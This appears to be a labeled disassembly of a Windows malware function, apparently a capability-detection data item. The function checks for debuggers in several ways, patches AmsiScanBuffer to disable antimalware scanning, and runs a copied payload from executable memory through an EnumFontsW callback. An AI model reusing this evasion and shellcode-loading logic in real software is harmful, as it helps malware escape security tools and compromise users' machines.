Function at 0x1400011b0
Capabilities:
Check for debugger via api
Enumerate gui resources
Patch antimalware scan interface function

Disassembly:
push rbx
sub rsp, 0xaa0
mov ecx, 0x1234
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1400012e6
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 6
jne 0x1400012e6
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0xab0]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rsp + 0xab0], 0
jne 0x1400012e6
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x1400012e6
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0xab0]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rsp + 0xab0], 0
jne 0x1400012dd
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x1400012d4
lea rdx, [rsp + 0xab0]
mov dword [rsp + 0xab0], eax
lea rcx, [0x1400010d0]
call qword [sym.imp.USER32.dll_EnumWindows]
cmp dword [rsp + 0xab0], 0
jne 0x1400012cb
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x50], 0x100010
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp qword [rsp + 0x68], 0
jne 0x1400012c2
cmp qword [rsp + 0x70], 0
jne 0x1400012c2
cmp qword [rsp + 0x78], 0
jne 0x1400012c2
cmp qword [rsp + 0x80], 0
jne 0x1400012c2
call fcn.140001180
test eax, eax
jne 0x1400012b9
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
jmp 0x1400012f2
lea rcx, str.765431
jmp 0x1400012ed
lea rcx, [0x140003388]
jmp 0x1400012ed
lea rcx, [0x14000338c]
jmp 0x1400012ed
lea rcx, [0x140003390]
jmp 0x1400012ed
lea rcx, [0x140003394]
jmp 0x1400012ed
lea rcx, [0x140003398]
call fcn.140001070
lea rax, str.i.dll
movsx rbx, al
lea rcx, [0x1400033dc]
add rbx, rcx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140001393
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.AmsiScanBuffer
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 5
lea r9, [rsp + 0xab0]
mov rcx, rax
mov rbx, rax
lea r8d, [rdx + 0x3b]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, 6
mov dword [rsp + 0xab8], 0x70057b8
lea rdx, [rsp + 0xab8]
mov word [rsp + 0xabc], 0xc380
mov rcx, rbx
call qword [0x140005120]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001410
mov rcx, rax
lea rdx, [0x1400015c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x4f0]
mov r8d, 0x5af
lea rdx, [0x140003410]
call sub.VCRUNTIME140.dll_memcpy
xor ecx, ecx
mov edx, 0x5af
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [0x140005118]
mov r8d, 0x5af
lea rdx, [rsp + 0x4f0]
mov rcx, rax
mov rbx, rax
call qword [0x140005120]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor r9d, r9d
mov r8, rbx
mov rcx, rax
xor edx, edx
call qword [sym.imp.GDI32.dll_EnumFontsW]
xor eax, eax
add rsp, 0xaa0
pop rbx
ret